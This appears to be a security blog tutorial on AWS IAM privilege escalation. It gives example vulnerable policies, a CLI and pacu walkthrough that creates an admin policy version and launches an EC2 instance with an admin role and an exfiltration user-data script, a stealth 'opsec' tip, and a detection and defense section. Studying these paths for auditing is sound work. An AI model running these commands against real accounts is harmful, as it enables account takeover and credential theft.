Disclaimer: This article is provided strictly for educational purposes and authorized security testing. Only run these techniques against systems you own or have explicit written permission to assess. Unauthorized access to computer systems is illegal in virtually every jurisdiction and can carry severe penalties.
Introduction
AWS Identity and Access Management (IAM) is the control plane that decides what every principal in an account — user, role, or service — is allowed to do. Privilege escalation in AWS is rarely about breaking cryptography or exploiting a memory-corruption bug; it is almost always about finding a principal that already has a narrow set of IAM permissions which, combined, let it grant itself broader ones. Because IAM policy evaluation is additive and permission sets are large and easy to over-scope, these escalation paths are extremely common in real environments, particularly ones that grew organically from wildcard * permissions handed out for convenience during early development.
The impact of a successful IAM privesc is total account compromise: an attacker who starts with a low-privileged CI/CD role or a leaked developer access key can, within a handful of API calls, become an account administrator able to create new users, read all data, and modify billing and security settings. Rhino Security Labs catalogued the canonical set of these primitives in its widely cited IAM privilege escalation research and the accompanying pacu module; roughly twenty distinct primitives remain the reference model attackers and auditors use today.
Attack Prerequisites
IAM privilege escalation is a post-access technique: the attacker already holds valid AWS credentials for some principal, typically obtained via a leaked key in a git repo, an SSRF-to-IMDS pivot, or a phished CI/CD secret. The following conditions must hold:
- Valid AWS credentials for a principal, however low-privileged — an IAM user, an EC2 instance role, a Lambda execution role, or a federated session.
- **At least one dangerous
iam:*permission** attached to that principal, either directly or through a group/inline policy, such asiam:CreatePolicyVersion,iam:SetDefaultPolicyVersion,iam:PassRole,iam:CreateAccessKey,iam:AttachUserPolicy, oriam:UpdateAssumeRolePolicy. - No effective Service Control Policy (SCP) or permission boundary that blocks the escalation action at the organization or account level.
- Ability to enumerate the account’s IAM entities (
iam:List*/iam:Get*) to identify which primitive applies — though escalation can sometimes be attempted blind if the attacker already knows their own attached policies.
How It Works
IAM authorization is evaluated per API call: AWS collects every policy attached to the calling principal (identity-based policies, resource policies, permission boundaries, SCPs, session policies) and applies an explicit-deny-wins, default-deny model. The critical design fact that enables privilege escalation is that IAM management itself is just another AWS API surface — iam:CreatePolicyVersion, iam:AttachRolePolicy, and friends are ordinary permissions that can be granted like any other. A principal that can edit IAM policies can, transitively, grant itself any permission the policy engine allows, because nothing stops a policy from referencing "Action": "*".
Escalation primitives fall into a few families. The policy-edit family abuses creating a new default version of a managed policy (iam:CreatePolicyVersion + iam:SetDefaultPolicyVersion) or attaching an admin-equivalent policy to yourself (iam:AttachUserPolicy/iam:AttachRolePolicy, iam:PutUserPolicy/iam:PutRolePolicy). The PassRole+service family combines iam:PassRole with permission to launch a compute service — EC2, Lambda, Glue, CloudFormation — that assumes a role on the caller’s behalf; iam:PassRole alone does nothing, but paired with ec2:RunInstances or lambda:CreateFunction it runs arbitrary code with a more privileged role’s credentials. The credential-creation family (iam:CreateAccessKey, iam:CreateLoginProfile) mints new long-lived credentials for a higher-privileged existing user. The trust-policy family (iam:UpdateAssumeRolePolicy + sts:AssumeRole) rewrites a role’s trust document to add the attacker as a trusted principal.
Each permission looks reasonable alone — a CI/CD role plausibly needs iam:PassRole, a helpdesk role plausibly needs iam:CreateAccessKey. The danger appears only in combination, which is why graph-based tools catch far more than manual JSON review.
Vulnerable Code / Configuration
The following IAM policy, attached to a CI/CD deployment role, is a textbook iam:PassRole + ec2:RunInstances escalation path. The author’s intent was to let the pipeline launch build agents, but nothing restricts *which* role can be passed to the instance:
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "LaunchBuildAgents",
"Effect": "Allow",
"Action": ["ec2:RunInstances", "ec2:DescribeInstances"],
"Resource": "*"
},
{
"Sid": "PassAnyRoleToEC2",
"Effect": "Allow",
"Action": "iam:PassRole",
"Resource": "*"
}
]
}
JSONBecause Resource on the iam:PassRole statement is * rather than the ARN of the specific build-agent role, the CI/CD principal can pass *any* role in the account — including OrganizationAccountAccessRole or an admin instance profile — to a new EC2 instance, then reach its credentials through the instance metadata service. The fix is to scope Resource to the exact role ARN the workload legitimately needs, and to add a Condition pinning iam:PassedToService to ec2.amazonaws.com only.
The second common bug is a self-managed policy that grants iam:CreatePolicyVersion without also restricting iam:SetDefaultPolicyVersion, which lets a principal rewrite its own effective permissions:
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "PolicySelfService",
"Effect": "Allow",
"Action": [
"iam:CreatePolicyVersion",
"iam:SetDefaultPolicyVersion",
"iam:ListPolicyVersions"
],
"Resource": "arn:aws:iam::123456789012:policy/*"
}
]
}
JSONAny user with this policy can push a new version of *any* customer-managed policy in the account (Resource uses a wildcard suffix rather than a single policy ARN) with "Action": "*", "Resource": "*", set it as the default version, and immediately have administrator-equivalent access under their existing identity — no new credentials, no new principal, nothing that stands out in a casual IAM console review.
Walkthrough / Exploitation
Reconnaissance starts by establishing what the current principal can do. aws sts get-caller-identity confirms the principal ARN, then enumerate-iam.py brute-forces the effective permission set by making harmless dry-run/read-only calls against every IAM-relevant API and recording which ones succeed — useful when the attacker cannot simply read their own attached policies:
aws sts get-caller-identity
python3 enumerate-iam.py --access-key AKIA... --secret-key ...
aws iam get-account-authorization-details > iam.json
BashWith pacu (the AWS exploitation framework built by Rhino Security Labs), the same reconnaissance and the escalation itself are automated. The iam__privesc_scan module walks the caller’s permissions against its built-in catalog of ~20 escalation methods and offers to execute the first one that applies:
pacu > import_keys default
pacu > run iam__enum_permissions
pacu > run iam__privesc_scan
# Pacu identifies e.g. CreateNewPolicyVersion and offers to run it
BashManually exploiting the policy-version primitive shown above looks like this — create a new version of a policy already attached to the caller, granting full admin, and make it the default (the --set-as-default flag is what activates it immediately):
cat > admin-policy.json <<'EOF'
{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Action":"*","Resource":"*"}]}
EOF
aws iam create-policy-version \
--policy-arn arn:aws:iam::123456789012:policy/CI-Deploy-Policy \
--policy-document file://admin-policy.json \
--set-as-default
BashExploiting the PassRole+RunInstances primitive instead pivots through compute: launch an EC2 instance passing a highly privileged role, then collect that role’s temporary credentials from the instance metadata service once the instance is up (see the companion IMDS article for the credential-retrieval step) or, more directly, run a user-data script that exfiltrates them on boot:
aws ec2 run-instances \
--image-id ami-0abcdef1234567890 \
--instance-type t3.micro \
--iam-instance-profile Name=AdminInstanceProfile \
--user-data file://exfil-userdata.sh \
--key-name attacker-key
BashNote: The trust-policy primitive is easy to miss in review because it never touches a permissions policy —
iam:UpdateAssumeRolePolicyrewrites the *trust* document of a role, adding the attacker as a trusted principal. Auditors who only diff permissions policies never see it.
Opsec:
CreatePolicyVersion/PutUserPolicy/AttachUserPolicycalls are cheap to alert on and rarely occur normally — prefer the least conspicuous primitive available (e.g.sts:AssumeRoleon an already-existing over-privileged role) when stealth matters.
Detection and Defense
Because every one of these primitives is a normal, loggable IAM API call, detection is realistic if the right events are monitored and the right structural controls are in place beforehand:
- Least privilege by default — scope
iam:PassRoleand policy-editing actions to specific resource ARNs, neverResource: "*", and addiam:PassedToServiceconditions restricting which service can receive a passed role. - Permission boundaries on any principal that can create or modify IAM entities, capping the maximum permissions that principal or anything it creates can ever obtain, regardless of what policy is attached later.
- Service Control Policies (SCPs) at the AWS Organizations level to deny high-risk actions (
iam:CreatePolicyVersion,iam:PassRoleto*) account-wide for principals that never need them. - AWS IAM Access Analyzer to continuously flag policies granting external access or unused/overly broad permissions.
- CloudTrail alerting on
CreatePolicyVersion,SetDefaultPolicyVersion,AttachUserPolicy,PutUserPolicy,UpdateAssumeRolePolicy, andCreateAccessKeyfor any principal not on an explicit allow-list. - Regular privesc graph scans with
pacu‘siam__privesc_scanor ScoutSuite as part of routine posture review, not just at pentest time.
Real-World Impact
IAM privilege escalation is one of the most consistently reported findings in AWS penetration tests, because CI/CD and automation roles are chronically over-permissioned for convenience. The technique requires no exploit code and no zero-day — it is pure misconfiguration abuse — which is why Rhino Security Labs’ original privesc research and the pacu tooling it spawned remain one of the first things any competent AWS assessment runs against a newly obtained set of credentials.
Conclusion
IAM privilege escalation is the natural consequence of treating identity permissions as an afterthought rather than the primary security boundary in a cloud account. Every dangerous primitive traces back to one root cause: a principal that can modify IAM state can eventually grant itself any permission the account allows. Defending against it means scoping iam:PassRole and policy-management actions tightly, layering permission boundaries and SCPs, and treating IAM change events as high-priority telemetry rather than background noise.
You Might Also Like
If you found this useful, these related deep-dives cover adjacent techniques and their defenses:



Comments